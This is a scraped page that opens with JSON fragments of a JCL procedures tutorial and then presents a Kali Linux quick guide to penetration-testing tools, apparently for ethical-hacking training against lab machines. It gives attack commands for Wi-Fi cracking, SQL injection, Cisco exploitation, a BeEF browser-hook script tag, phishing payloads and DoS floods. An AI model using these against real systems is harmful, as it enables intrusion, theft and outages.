}, { "code": null, "e": 4156, "s": 3939, "text": "While coding symbolic parameters, do not use KEYWORDS, PARAMETERS or SUB-PARAMETERS as symbolic names. Example: Do not use TIME=&TIME but yes you can use TIME=&TM and it is assumed as a right way of coding symbolics." }, { "code": null, "e": 4435, "s": 4156, "text": "User-defined symbolic parameters are called JCL Symbols. There are certain symbols called system symbols, which are used for logon job executions. The only system symbol used in batch jobs by normal users is &SYSUID and this is used in the NOTIFY parameter in the JOB statement." }, { "code": null, "e": 4699, "s": 4435, "text": "When the procedure is separated out from the JCL and coded in a different data store, it is called a Cataloged Procedure. A PROC statement is not mandatory to be coded in a cataloged procedure. Following is an example of JCL where it's calling CATLPROC procedure:" }, { "code": null, "e": 4854, "s": 4699, "text": "//SAMPINST JOB 1,CLASS=6,MSGCLASS=Y,NOTIFY=&SYSUID\n//*\n//STEP EXEC CATLPROC,PROG=CATPRC1,DSNME=MYDATA.URMI.INPUT\n// DATAC=MYDATA.BASE.LIB1(DATA1)" }, { "code": null, "e": 5001, "s": 4854, "text": "Here, the procedure CATLPROC is cataloged in MYCOBOL.BASE.LIB1. PROG,DATAC and DSNAME are passed as symbolic parameters to the procedure CATLPROC." }, { "code": null, "e": 5229, "s": 5001, "text": "//CATLPROC PROC PROG=,BASELB=MYCOBOL.BASE.LIB1\n//*\n//PROC1 EXEC PGM=&PROG\n//STEPLIB DD DSN=&BASELB,DISP=SHR\n//IN1 DD DSN=&DSNAME,DISP=SHR\n//OUT1 DD SYSOUT=*\n//SYSOUT DD SYSOUT=*\n//SYSIN DD DSN=&DATAC\n//*" }, { "code": null, "e": 5453, "s": 5229, "text": "Within the procedure, the symbolic parameters PROG and BASELB are coded. Please note that the PROG parameter within the procedure is overridden by the value in the JCL and hence PGM takes the value CATPRC1 during execution." }, { "code": null, "e": 5691, "s": 5453, "text": "Calling a procedure from within a procedure is called a nested procedure. Procedures can be nested up to 15 levels. The nesting can be completely in-stream or cataloged. We cannot code an instream procedure within a cataloged procedure." }, { "code": null, "e": 6523, "s": 5691, "text": "//SAMPINST JOB 1,CLASS=6,MSGCLASS=Y,NOTIFY=&SYSUID\n//*\n//SETNM SET DSNM1=INPUT1,DSNM2=OUTPUT1\n//INSTPRC1 PROC //* START OF PROCEDURE 1\n//STEP1 EXEC PGM=SORT,DISP=SHR\n//SORTIN DD DSN=&DSNM1,DISP=SHR\n//SORTOUT DD DSN=&DSNM2,DISP=(,PASS)\n//SYSOUT DD SYSOUT=*\n//SYSIN DD DSN=&DATAC\n//*\n//STEP2 EXEC PROC=INSTPRC2,DSNM2=MYDATA.URMI.OUTPUT2\n// PEND //* END OF PROCEDURE 1\n//*\n//INSTPRC2 PROC //* START OF PROCEDURE 2\n//STEP1 EXEC PGM=SORT\n//SORTIN DD DSN=*.INSTPRC1.STEP1.SORTOUT\n//SORTOUT DD DSN=&DSNM2,DISP=OLD\n//SYSOUT DD SYSOUT=*\n//SYSIN DD DSN=&DATAC\n// PEND //* END OF PROCEDURE 2\n//*\n//JSTEP1 EXEC INSTPRC1,DSNM1=MYDATA.URMI.INPUT1,\n// DATAC=MYDATA.BASE.LIB1(DATA1)\n//*" }, { "code": null, "e": 6742, "s": 6523, "text": "In the above example, the JCL calls the procedure INSTPRC1 in JSTEP1 and procedure INSTPRC2 is being called within the procedure INSTPRC1. Here, the output of INSTPRC1 (SORTOUT) is passed as input (SORTIN) to INSTPRC2." }, { "code": null, "e": 6838, "s": 6742, "text": "Let's have a look at the below description to understand a little more about the above program:" }, { "code": null, "e": 6896, "s": 6838, "text": "SET parameter initializes DSNM1=INPUT1 and DSNM2=OUTPUT1." }, { "code": null, "e": 6954, "s": 6896, "text": "SET parameter initializes DSNM1=INPUT1 and DSNM2=OUTPUT1." }, { "code": null, "e": 7149, "s": 6954, "text": "When INSTPRC1 is called in JSTEP1 of JCL, DSNM1=MYDATA.URMI.INPUT1 and DSNM2=OUTPUT1., i.e., the value initialized in SET statement is reset with the value set in any of the job step/procedures." }, { "code": null, "e": 7344, "s": 7149, "text": "When INSTPRC1 is called in JSTEP1 of JCL, DSNM1=MYDATA.URMI.INPUT1 and DSNM2=OUTPUT1., i.e., the value initialized in SET statement is reset with the value set in any of the job step/procedures." }, { "code": null, "e": 7446, "s": 7344, "text": "When INSTPRC2 is called in STEP2 of INSTPRC1, DSNM1=MYDATA.URMI.INPUT1 and DSNM2=MYDATA.URMI.OUTPUT2." } ]
Kali Linux - Quick Guide
Kali Linux is one of the best security packages of an ethical hacker, containing a set of tools divided by the categories. It is an open source and its official webpage is https://www.kali.org. Generally, Kali Linux can be installed in a machine as an Operating System, as a virtual machine which we will discuss in the following section. Installing Kali Linux is a practical option as it provides more options to work and combine the tools. You can also create a live boot CD or USB. All this can be found in the following link: https://www.kali.org/downloads/ BackTrack was the old version of Kali Linux distribution. The latest release is Kali 2016.1 and it is updated very often. To install Kali Linux − First, we will download the Virtual box and install it. Later, we will download and install Kali Linux distribution. A Virtual Box is particularly useful when you want to test something on Kali Linux that you are unsure of. Running Kali Linux on a Virtual Box is safe when you want to experiment with unknown packages or when you want to test a code. With the help of a Virtual Box, you can install Kali Linux on your system (not directly in your hard disk) alongside your primary OS which can MAC or Windows or another flavor of Linux. Let’s understand how you can download and install the Virtual Box on your system. Step 1 − To download, go to https://www.virtualbox.org/wiki/Downloads. Depending on your operating system, select the right package. In this case, it will be the first one for Windows as shown in the following screenshot. Step 2 − Click Next. Step 3 − The next page will give you options to choose the location where you want to install the application. In this case, let us leave it as default and click Next. Step 4 − Click Next and the following Custom Setup screenshot pops up. Select the features you want to be installed and click Next. Step 5 − Click Yes to proceed with the installation. Step 6 − The Ready to Install screen pops up. Click Install. Step 7 − Click the Finish button. The Virtual Box application will now open as shown in the following screenshot. Now we are ready to install the rest of the hosts for this manual and this is also recommended for professional usage. Now that we have successfully installed the Virtual Box, let’s move on to the next step and install Kali Linux. Step 1 − Download the Kali Linux package from its official website: https://www.kali.org/downloads/ Step 2 − Click VirtualBox → New as shown in the following screenshot. Step 3 − Choose the right virtual hard disk file and click Open. Step 4 − The following screenshot pops up. Click the Create button. Step 5 − Start Kali OS. The default username is root and the password is toor. It is important to keep updating Kali Linux and its tools to the new versions, to remain functional. Following are the steps to update Kali. Step 1 − Go to Application → Terminal. Then, type “apt-get update” and the update will take place as shown in the following screenshot. Step 2 − Now to upgrade the tools, type “apt-get upgrade” and the new packages will be downloaded. Step 3 − It will ask if you want to continue. Type “Y” and “Enter”. Step 4 − To upgrade to a newer version of Operating System, type “apt-get distupgrade”. In this section, we will set up another testing machine to perform the tests with the help of tools of Kali Linux. Step 1 − Download Metasploitable, which is a Linux machine. It can be downloaded from the official webpage of Rapid7: https://information.rapid7.com/metasploitabledownload.html?LS=1631875&CS=web Step 2 − Register by supplying your details. After filling the above form, we can download the software. Step 3 − Click VirtualBox → New. Step 4 − Click “Use an existing virtual hard disk file”. Browse the file where you have downloaded Metasploitable and click Open. Step 5 − A screen to create a virtual machine pops up. Click “Create”. The default username is msfadmin and the password is msfadmin. In this chapter, we will discuss the information gathering tools of Kali Linux. NMAP and ZenMAP are useful tools for the scanning phase of Ethical Hacking in Kali Linux. NMAP and ZenMAP are practically the same tool, however NMAP uses command line while ZenMAP has a GUI. NMAP is a free utility tool for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. NMAP uses raw IP packets in novel ways to determine which hosts are available on the network, what services (application name and version) those hosts are offering, which operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, etc. Now, let’s go step by step and learn how to use NMAP and ZenMAP. Step 1 − To open, go to Applications → 01-Information Gathering → nmap or zenmap. Step 2 − The next step is to detect the OS type/version of the target host. Based on the help indicated by NMAP, the parameter of OS type/version detection is variable “-O”. For more information, use this link: https://nmap.org/book/man-os-detection.html The command that we will use is − nmap -O 192.168.1.101 The following screenshot shows where you need to type the above command to see the Nmap output − Step 3 − Next, open the TCP and UDP ports. To scan all the TCP ports based on NMAP, use the following command − nmap -p 1-65535 -T4 192.168.1.101 Where the parameter “–p” indicates all the TCP ports that have to be scanned. In this case, we are scanning all the ports and “-T4” is the speed of scanning at which NMAP has to run. Following are the results. In green are all the TCP open ports and in red are all the closed ports. However, NMAP does not show as the list is too long. Stealth scan or SYN is also known as half-open scan, as it doesn’t complete the TCP three-way handshake. A hacker sends a SYN packet to the target; if a SYN/ACK frame is received back, then it’s assumed the target would complete the connect and the port is listening. If an RST is received back from the target, then it is assumed the port isn’t active or is closed. Now to see the SYN scan in practice, use the parameter –sS in NMAP. Following is the full command − nmap -sS -T4 192.168.1.101 The following screenshot shows how to use this command − Searchsploit is a tool that helps Kali Linux users to directly search with the command line from Exploit database archive. To open it, go to Applications → 08-Exploitation Tools → searchsploit, as shown in the following screenshot. After opening the terminal, type "searchsploit exploit index name". n this section, we will learn how to use some DNS tools that Kali has incorporated. Basically, these tools help in zone transfers or domain IP resolving issues. The first tool is dnsenum.pl which is a PERL script that helps to get MX, A, and other records connect to a domain. Click the terminal on the left panel. Type “dnsenum domain name” and all the records will be shown. In this case, it shows A records. The second tool is DNSMAP which helps to find the phone numbers, contacts, and other subdomain connected to this domain, that we are searching. Following is an example. Click the terminal as in the upper section , then write “dnsmap domain name” The third tool is dnstracer, which determines where a given Domain Name Server (DNS) gets its information from for a given hostname. Click the terminal as in the upper section, then type “dnstracer domain name”. LBD (Load Balancing Detector) tools are very interesting as they detect if a given domain uses DNS and/or HTTP load balancing. It is important because if you have two servers, one or the other may not be updated and you can try to exploit it. Following are the steps to use it − First, click the terminal on the left panel. Then, type “lbd domainname”. If it produces a result as “FOUND”, it means that the server has a load balance. In this case, the result is “NOT FOUND”. Hping3 is widely used by ethical hackers. It is nearly similar to ping tools but is more advanced, as it can bypass the firewall filter and use TCP, UDP, ICMP and RAW-IP protocols. It has a traceroute mode and the ability to send files between a covered channel. Click the terminal on the left panel. Type “hping3 –h” which will show how to use this command. The other command is “hping3 domain or IP -parameter” In this chapter, we will learn how to use some of the tools that help us exploit devices or applications in order to gain access. Kali has some tools that can be used to exploit Cisco router. One such tool is Cisco-torch which is used for mass scanning, fingerprinting, and exploitation. Let’s open the Terminal console by clicking the left pane. Then, type “cisco-torch –parameter IP of host” and if there is nothing found to exploit, then the following result will be shown. To see what are the parameters that can be used, type “cisco-torch ?” It is a PERL script, which scans Cisco routers for common vulnerabilities. To use it, again open the terminal on the left pane as shown in the previous section and type “CAT –h hostname or IP”. You can add the port parameter “-p” as shown in the following screenshot, which in this case is 23 to brute-force it. Cisco Global Exploiter (CGE) is an advanced, simple, and fast security testing tool. With these tools, you can perform several types of attacks as shown in the following screenshot. However, be careful while testing in a live environment as some of them can crash the Cisco devise. For example, option can stop the services. To use this tool, type “cge.pl IPaddress number of vulnerability” The following screenshot shows the result of the test performed on Cisco router for the vulnerability number 3 from the list above. The result shows the vulnerability was successfully exploited. BED is a program designed to check daemons for potential buffer overflows, format strings, et. al. In this case, we will test the testing machine with IP 192.168.1.102 and the protocol HTTP. The command will be “bed –s HTTP –t 192.168.1.102” and testing will continue. In this chapter, we will learn how to use Wi-Fi cracking tools that Kali Linux has incorporated. However, it is important that the wireless card that you has a support monitoring mode. Fern Wifi cracker is one of the tools that Kali has to crack wireless. Before opening Fern, we should turn the wireless card into monitoring mode. To do this, Type “airmon-ng start wlan-0” in the terminal. Now, open Fern Wireless Cracker. Step 1 − Applications → Click “Wireless Attacks” → “Fern Wireless Cracker”. Step 2 − Select the Wireless card as shown in the following screenshot. Step 3 − Click “Scan for Access Points”. Step 4 − After finishing the scan, it will show all the wireless networks found. In this case, only “WPA networks” was found. Step 5 − Click WPA networks as shown in the above screenshot. It shows all the wireless found. Generally, in WPA networks, it performs Dictionary attacks as such. Step 6 − Click “Browse” and find the wordlist to use for attack. Step 7 − Click “Wifi Attack”. Step 8 − After finishing the dictionary attack, it found the password and it will show as depicted in the following screenshot picture. Kismet is a WIFI network analyzing tool. It is a 802.11 layer-2 wireless network detector, sniffer, and intrusion detection system. It will work with any wireless card that supports raw monitoring (rfmon) mode, and can sniff 802.11a/b/g/n traffic. It identifies the networks by collecting packets and also hidden networks. To use it, turn the wireless card into monitoring mode and to do this, type “airmon-ng start wlan-0” in the terminal. Let’s learn how to use this tool. Step 1 − To launch it, open terminal and type “kismet”. Step 2 − Click “OK”. Step 3 − Click “Yes” when it asks to start Kismet Server. Otherwise it will stop functioning. Step 4 − Startup Options, leave as default. Click “Start”. Step 5 − Now it will show a table asking you to define the wireless card. In such case, click Yes. Step 6 − In this case, the wireless source is “wlan0”. It will have to be written in the section “Intf” → click “Add”. Step 7 − It will start sniffing the wifi networks as shown in the following screenshot. Step 8 − Click on any network, it produces the wireless details as shown in the following screenshot. GISKismet is a wireless visualization tool to represent data gathered using Kismet in a practical way. GISKismet stores the information in a database so we can query data and generate graphs using SQL. GISKismet currently uses SQLite for the database and GoogleEarth / KML files for graphing. Let’s learn how to use this tool. Step 1 − To open GISKismet, go to: Applications → Click “Wireless Attacks” → giskismet. As you remember in the previous section, we used Kismet tool to explore data about wireless networks and all this data Kismet packs in netXML files. Step 2 − To import this file into Giskismet, type “root@kali:~# giskismet -x Kismetfilename.netxml” and it will start importing the files. Once imported, we can import them to Google Earth the Hotspots that we found before. Step 3 − Assuming that we have already installed Google Earth, we click File → Open File that Giskismet created → Click “Open”. The following map will be displayed. Ghost Phisher is a popular tool that helps to create fake wireless access points and then later to create Man-in-The-Middle-Attack. Step 1 − To open it, click Applications → Wireless Attacks → “ghost phishing”. Step 2 − After opening it, we will set up the fake AP using the following details. Wireless Interface Input: wlan0 SSID: wireless AP name IP address: IP that the AP will have WAP: Password that will have this SSID to connect Step 3 − Click the Start button. It is another wireless clacking tool, which attacks multiple WEP, WPA, and WPS encrypted networks in a row. Firstly, the wireless card has to be in the monitoring mode. Step 1 − To open it, go to Applications → Wireless Attack → Wifite. Step 2 − Type "wifite –showb"to scan for the networks. Step 3 − To start attacking the wireless networks, click Ctrl + C. Step 4 − Type “1” to crack the first wireless. Step 5 − After attacking is complete, the key will be found. In this chapter, we will learn about website penetration testing offered by Kali Linux. Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows. Vega includes an automated scanner for quick tests and an intercepting proxy for tactical inspection. Vega can be extended using a powerful API in the language of the web: JavaScript. The official webpage is https://subgraph.com/vega/ Step 1 − To open Vega go to Applications → 03-Web Application Analysis → Vega Step 2 − If you don’t see an application in the path, type the following command. Step 3 − To start a scan, click “+” sign. Step 4 − Enter the webpage URL that will be scanned. In this case, it is metasploitable machine → click “ Next”. Step 5 − Check all the boxes of the modules you want to be controlled. Then, click “Next”. Step 6 − Click “Next” again in the following screenshot. Step 7 − Click “Finish”. Step 8 − If the following table pops up, click “Yes”. The scan will continue as shown in the following screenshot. Step 9 − After the scan is completed, on the left down panel you can see all the findings, that are categorized according to the severity. If you click it, you will see all the details of the vulnerabilities on the right panel such as “Request”, ”Discussion”, ”Impact”, and ”Remediation”. ZAP-OWASP Zed Attack Proxy is an easy-to-use integrated penetration testing tool for finding vulnerabilities in web applications. It is a Java interface. Step 1 − To open ZapProxy, go to Applications → 03-Web Application Analysis → owaspzap. Step 2 − Click “Accept”. ZAP will start to load. Step 3 − Choose one of the Options from as shown in the following screenshot and click “Start”. Following web is metasploitable with IP :192.168.1.101 Step 4 − Enter URL of the testing web at “URL to attack” → click “Attack”. After the scan is completed, on the top left panel you will see all the crawled sites. In the left panel “Alerts”, you will see all the findings along with the description. Step 5 − Click “Spider” and you will see all the links scanned. sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. Let’s learn how to use sqlmap. Step 1 − To open sqlmap, go to Applications → 04-Database Assessment → sqlmap. The webpage having vulnerable parameters to SQL Injection is metasploitable. Step 2 − To start the sql injection testing, type “sqlmap – u URL of victim” Step 3 − From the results, you will see that some variable are vulnerable. sqlninja is a SQL Injection on Microsoft SQL Server to a full GUI access. sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end. Full information regarding this tool can be found on http://sqlninja.sourceforge.net/ Step 1 − To open sqlninja go to Applications → 04-Database Assesment → sqlninja. WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues. Step 1 − To open WPscan go to Applications → 03-Web Application Analysis → “wpscan”. The following screenshot pops up. Step 2 − To scan a website for vulnerabilities, type “wpscan –u URL of webpage”. If the scanner is not updated, it will ask you to update. I will recommend to do it. Once the scan starts, you will see the findings. In the following screenshot, vulnerabilities are indicated by a red arrow. Joomla is probably the most widely-used CMS out there due to its flexibility. For this CMS, it is a Joomla scanner. It will help web developers and web masters to help identify possible security weaknesses on their deployed Joomla sites. Step 1 − To open it, just click the left panel at the terminal, then “joomscan – parameter”. Step 2 − To get help for the usage type “joomscan /?” Step 3 − To start the scan, type “ joomscan –u URL of the victim”. Results will be displayed as shown in the following screenshot. TLSSLed is a Linux shell script used to evaluate the security of a target SSL/TLS (HTTPS) web server implementation. It is based on sslscan, a thorough SSL/TLS scanner that is based on the openssl library, and on the “openssl s_client” command line tool. The current tests include checking if the target supports the SSLv2 protocol, the NULL cipher, weak ciphers based on their key length (40 or 56 bits), the availability of strong ciphers (like AES), if the digital certificate is MD5 signed, and the current SSL/TLS renegotiation capabilities. To start testing, open a terminal and type “tlssled URL port“. It will start to test the certificate to find data. You can see from the finding that the certificate is valid until 2018 as shown in green in the following screenshot. w3af is a Web Application Attack and Audit Framework which aims to identify and exploit all web application vulnerabilities. This package provides a Graphical User Interface (GUI) for the framework. If you want a command-line application only, install w3af-console. The framework has been called the “metasploit for the web”, but it’s actually much more as it also discovers the web application vulnerabilities using black-box scanning techniques. The w3af core and its plugins are fully written in Python. The project has more than 130 plugins, which identify and exploit SQL injection, cross-site scripting (XSS), remote file inclusion and more. Step 1 − To open it, go to Applications → 03-Web Application Analysis → Click w3af. Step 2 − On the “Target” enter the URL of victim which in this case will be metasploitable web address. Step 3 − Select the profile → Click “Start”. Step 4 − Go to “Results” and you can see the finding with the details. In this chapter, we will learn about the various exploitation tools offered by Kali Linux. As we mentioned before, Metasploit is a product of Rapid7 and most of the resources can be found on their web page www.metasploit.com. It is available in two versions - commercial and free edition. The differences between these two versions is not much hence, in this case we will be using the Community version (free). As an Ethical Hacker, you will be using “Kali Ditribution” which has the Metasploit community version embedded, along with other ethical hacking tools which are very comfortable by saving time of installation. However, if you want to install as a separate tool it is an application that can be installed in the operating systems like Linux, Windows and OS X. First, open the Metasploit Console in Kali. Then, go to Applications → Exploitation Tools → Metasploit. After it starts, you will see the following screen, where the version of Metasploit is underlined in red. In the console, if you use help or ? symbol, it will show you a list with the commands of MSP along with their description. You can choose based on your needs and what you will use. Another important administration command is msfupdate which helps to update the metasploit with the latest vulnerability exploits. After running this command in the console, you will have to wait several minutes until the update is complete. It has a good command called “Search” which you can use to find what you want as shown in the following screenshot. For example, I want to find exploits related to Microsoft and the command can be msf >search name:Microsoft type:exploit. Where “search” is the command, ”name” is the name of the object that we are looking for, and “type” is what kind of script we are looking for. Another command is “info”. It provides the information regarding a module or platform where it is used, who is the author, vulnerability reference, and the payload restriction that this can have. Armitage GUI for metasploit is a complement tool for metasploit. It visualizes targets, recommends exploits, and exposes the advanced post-exploitation features. Let’s open it, but firstly metasploit console should be opened and started. To open Armitage, go to Applications → Exploit Tools → Armitage. Click the Connect button, as shown in the following screenshot. When it opens, you will see the following screen. Armitage is user friendly. The area “Targets” lists all the machines that you have discovered and you are working with, the hacked targets are red in color with a thunderstorm on it. After you have hacked the target, you can right-click on it and continue exploring with what you need to do such as exploring (browsing) the folders. In the following GUI, you will see the view for the folders, which is called console. Just by clicking the folders, you can navigate through the folders without the need of metasploit commands. On the right side of the GUI, is a section where the modules of vulnerabilities are listed. BeEF stands for Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser. BeEF allows the professional penetration tester to assess the actual security posture of a target environment using client-side attack vectors. First, you have to update the Kali package using the following commands − root@kali:/# apt-get update root@kali:/# apt-get install beef-xss To start, use the following command − root@kali:/# cd /usr/share/beef-xss root@kali:/# ./beef Open the browser and enter the username and password: beef. The BeEF hook is a JavaScript file hosted on the BeEF server that needs to run on client browsers. When it does, it calls back to the BeEF server communicating a lot of information about the target. It also allows additional commands and modules to be ran against the target. In this example, the location of BeEF hook is at http://192.168.1.101:3000/hook.js. In order to attack a browser, include the JavaScript hook in a page that the client will view. There are a number of ways to do that, however the easiest is to insert the following into a page and somehow get the client to open it. <script src = "http://192.168.1.101:3000/hook.js" type = "text/javascript"></script> Once the page loads, go back to the BeEF Control Panel and click “Online Browsers” on the top left. After a few seconds, you should see your IP address pop-up representing a hooked browser. Hovering over the IP will quickly provide information such as the browser version, operating system, and what plugins are installed. To remotely run the command, click the “Owned” host. Then, on the command click the module that you want to execute, and finally click “Execute”. It suggests possible exploits given the release version ‘uname -r’ of the Linux Operating System. To run it, type the following command − root@kali:/usr/share/linux-exploit-suggester# ./Linux_Exploit_Suggester.pl -k 3.0.0 3.0.0 is the kernel version of Linux OS that we want to exploit. In this chapter, we will learn about the forensics tools available in Kali Linux. p0f is a tool that can identify the operating system of a target host simply by examining captured packets even when the device in question is behind a packet firewall. P0f does not generate any additional network traffic, direct or indirect; no name lookups; no mysterious probes; no ARIN queries; nothing. In the hands of advanced users, P0f can detect firewall presence, NAT use, and existence of load balancers. Type “p0f – h” in the terminal to see how to use it and you will get the following results. It will list even the available interfaces. Then, type the following command: “p0f –i eth0 –p -o filename”. Where the parameter "-i" is the interface name as shown above. "-p" means it is in promiscuous mode. "-o" means the output will be saved in a file. Open a webpage with the address 192.168.1.2 From the results, you can observe that the Webserver is using apache 2.x and the OS is Debian. pdf-parser is a tool that parses a PDF document to identify the fundamental elements used in the analyzed pdf file. It will not render a PDF document. It is not recommended for text book case for PDF parsers, however it gets the job done. Generally, this is used for pdf files that you suspect has a script embedded in it. The command is − pdf-parser -o 10 filepath where "-o" is the number of objects. As you can see in the following screenshot, the pdf file opens a CMD command. Dumpzilla application is developed in Python 3.x and has as a purpose to extract all forensic interesting information of Firefox, Iceweasel, and Seamonkey browsers to be analyzed. It copies data from one file or block device (hard disc, cdrom, etc.) to another, trying to rescue the good parts first in case of read errors. The basic operation of ddrescue is fully automatic. That is, you don't have to wait for an error, stop the program, restart it from a new position, etc. If you use the mapfile feature of ddrescue, the data is rescued very efficiently (only the needed blocks are read). Also, you can interrupt the rescue at any time and resume it later at the same point. The mapfile is an essential part of ddrescue's effectiveness. Use it unless you know what you are doing. The command line is − dd_rescue infilepath outfilepath Parameter "–v" means verbose. "/dev/sdb" is the folder to be rescued. The img file is the recovered image. It is another forensic tool used to recover the files. It has a GUI too. To open it, type “dff-gui” in the terminal and the following web GUI will open. Click File → “Open Evidence”. The following table will open. Check “Raw format” and click “+” to select the folder that you want to recover. Then, you can browse the files on the left of the pane to see what has been recovered. In this chapter, we will learn about the social engineering tools used in Kali Linux. The Social-Engineer Toolkit (SET) is an open-source penetration testing framework designed for social engineering. SET has a number of custom attack vectors that allow you to make a believable attack in a fraction of time. These kind of tools use human behaviors to trick them to the attack vectors. Let’s learn how to use the Social Engineer Toolkit. Step 1 − To open SET, go to Applications → Social Engineering Tools → Click “SET” Social Engineering Tool. Step 2 − It will ask if you agree with the terms of usage. Type “y” as shown in the following screenshot. Step 3 − Most of the menus shown in the following screenshot are self-explained and among them the most important is the number 1 “Social Engineering Attacks”. Step 4 − Type “1” → Enter. A submenu will open. If you press the Enter button again, you will see the explanations for each submenu. The Spear-phishing module allows you to specially craft email messages and send them to your targeted victims with attached FileFormatmalicious payloads. For example, sending malicious PDF document which if the victim opens, it will compromise the system. If you want to spoof your email address, be sure “Sendmail” is installed (apt-get install sendmail) and change the config/set_config SENDMAIL=OFF flag to SENDMAIL=ON. There are two options for the spear phishing attack − Perform a Mass Email Attack Create a FileFormat Payload and a Social-Engineering Template The first one is letting SET do everything for you (option 1), the second one is to create your own FileFormat payload and use it in your own attack. Type “99” to go back to the main menu and then type “2” to go to “The web attack vectors”. The web attack module is a unique way of utilizing multiple web-based attacks in order to compromise the intended victim. This module is used by performing phishing attacks against the victim if they click the link. There is a wide variety of attacks that can occur once they click a link. Type “99” to return to the main menu and then type “3”. The infectious USB/CD/DVD module will create an autorun.inf file and a Metasploit payload. The payload and autorun file is burned or copied on a USB. When DVD/USB/CD is inserted in the victim’s machine, it will trigger an autorun feature (if autorun is enabled) and hopefully compromise the system. You can pick the attack vector you wish to use: fileformat bugs or a straight executable. Following are the options for Infectious Media Generator. File-Format Exploits Standard Metasploit Executable Type “99” to go back to the main menu. Then, type “4” to go to “The web attack vectors”. The create payload and listener is a simple way to create a Metasploit payload. It will export the exe file for you and generate a listener. You would need to convince the victim to download the exe file and execute it to get the shell. Type “99” to go back to the main menu and then type “5” to go to “The web attack vectors”. The mass mailer attack will allow you to send multiple emails to victims and customize the messages. There are two options on the mass e-mailer; the first is to send an email to a single email address. The second option allows you to import a list that has all recipient emails and it will send your message to as many people as you want within that list. E-Mail Attack Single Email Address E-Mail Attack Mass Mailer Type “99” to go back to the main menu and then type “9” to go to “Powershell Attack Vector”. The Powershell Attack Vector module allows you to create PowerShell specific attacks. These attacks allow you to use PowerShell, which is available by default in all operating systems Windows Vista and above. PowerShell provides a fruitful landscape for deploying payloads and performing functions that do not get triggered by preventive technologies. Powershell Alphanumeric Shellcode Injector Powershell Reverse Shell Powershell Bind Shell Powershell Dump SAM Database Stressing tools are used to create DoS attacks or to create the stress test for different applications so as take appropriate measures for the future. All the Stress testing tools are found in Applications → 02-Vulnerability Analysis → Stress testing. All Stress testing test will be done on metsploitable machine which has IP of 192.168.1.102 Slowhttptest is one of the DoS attacking tools. It especially uses HTTP protocol to connect with the server and to keep the resources busy such as CPU and RAM. Let’s see in detail how to use it and explain its functions. To open slowhttptest, first open the terminal and type “slowhttptest –parameters”. You can type “slowhttptest –h” to see all the paramenters that you need to use. In case you receive an output, ‘Command not found’ you have to first type “apt-get install slowhttptest”. Then after installation, again type slowhttptest –h Type the following command − slowhttptest -c 500 -H -g -o outputfile -i 10 -r 200 -t GET –u http://192.168.1.202/index.php -x 24 -p 2 Where, (-c 500) = 500 connections (-c 500) = 500 connections (-H) = Slowloris mode (-H) = Slowloris mode -g = Generate statistics -g = Generate statistics -o outputfile = Output file name -o outputfile = Output file name -i 10 = Use 10 seconds to wait for data -i 10 = Use 10 seconds to wait for data -r 200 = 200 connections with -t GET = GET requests -r 200 = 200 connections with -t GET = GET requests -u http://192.168.1.202/index.php = target URL -u http://192.168.1.202/index.php = target URL -x 24 = maximum of length of 24 bytes -x 24 = maximum of length of 24 bytes -p 2 = 2-second timeout -p 2 = 2-second timeout Once the test starts, the output will be as shown in the following screenshot, where you can notice that the service is available. After a while, at the 287 connection the service goes down. This means that the server can handle a maximum of 287 HTTP connections. Inviteflood is a SIP/SDP INVITE message flooding over UDP/IP. It executes on a variety of Linux distributions. It carries out DoS (Denial of Service) attacks against SIP devices by sending multiple INVITE requests. To open Inviteflood, first open the terminal and type “inviteflood –parameters” For help, you can use “inviteflood –h” Next, you can use the following command − inviteflood eth0 target_extension target_domain target_ip number_of_packets Where, target_extension is 2000 target_extension is 2000 target_domain is 192.168.x.x target_domain is 192.168.x.x target_ip is 192.168.x.x target_ip is 192.168.x.x number_of_packets is 1 number_of_packets is 1 -a is alias of SIP account -a is alias of SIP account Iaxflood is a VoIP DoS tool. To open it, type “iaxflood sourcename destinationname numpackets” in the terminal. To know how to use, type “iaxflood –h” THC-SSL-DOS is a tool to verify the performance of SSL. Establishing a secure SSL connection requires 15x more processing power on the server than on the client. THCSSL-DOS exploits this asymmetric property by overloading the server and knocking it off the Internet. Following is the command − thc-ssl-dos victimIP httpsport –accept In this example, it will be − thc-ssl-dos 192.168.1.1 443 –accept Its output would be as follows − The basic concept of sniffing tools is as simple as wiretapping and Kali Linux has some popular tools for this purpose. In this chapter, we will learn about the sniffing and spoofing tools available in Kali. Burpsuite can be used as a sniffing tool between your browser and the webservers to find the parameters that the web application uses. To open Burpsuite, go to Applications → Web Application Analysis → burpsuite. To make the setup of sniffing, we configure burpsuite to behave as a proxy. To do this, go to Options as shown in the following screenshot. Check the box as shown. In this case, the proxy IP will be 127.0.0.1 with port 8080. Then configure the browser proxy which is the IP of burpsuite machine and the port. To start interception, go to Proxy → Intercept → click “Intercept is on”. Continue to navigate on the webpage that you want to find the parameter to test for vulnerabilities. In this case, it is metasploitable machine with IP 192.168.1.102 Go to “HTTP History”. In the following screenshot, the line marked in red arrow shows the last request. In Raw and the hidden parameter such as the Session ID and other parameter such as user name and password has been underlined in red. mitmproxy is an SSL-capable man-in-the-middle HTTP proxy. It provides a console interface that allows traffic flows to be inspected and edited on the fly. To open it, go to the terminal and type “mitmproxy -parameter” and for getting help on commands, type “mitmproxy –h”. To start the mitmproxy, type “mitmproxy –p portnumber”. In this case, it is “mitmproxy –p 80”. Wireshark is one of the best data packet analyzers. It analyzes deeply the packets in frame level. You can get more information on Wireshark from their official webpage: https://www.wireshark.org/. In Kali, it is found using the following path - Applications → Sniffing & Spoofing → wireshark. Once you click wireshark, the following GUI opens up. Click “Start” and the packet capturing will start as shown in the following screenshot. sslstrip is a MITM attack that forces a victim's browser to communicate in plain-text over HTTP, and the proxies modifies the content from an HTTPS server. To do this, sslstrip is "stripping" https:// URLs and turning them into 